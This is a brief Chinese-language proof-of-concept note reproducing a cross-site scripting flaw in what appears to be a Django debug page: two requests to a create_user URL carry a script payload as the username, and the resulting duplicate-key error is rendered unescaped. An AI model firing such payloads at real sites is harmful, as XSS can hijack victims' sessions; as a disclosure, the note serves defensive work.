漏洞复现：
1.创建个用户：ip:8000/create_user/?username=<script>alert(7)</script>
显示用户已创建。
2.触发漏洞，再次访问ip:8000/create_user/?username=<script>alert(7)</script>
3.触发异常：duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(7)</script>) already exists.
4.这个异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception，最后触发XSS。
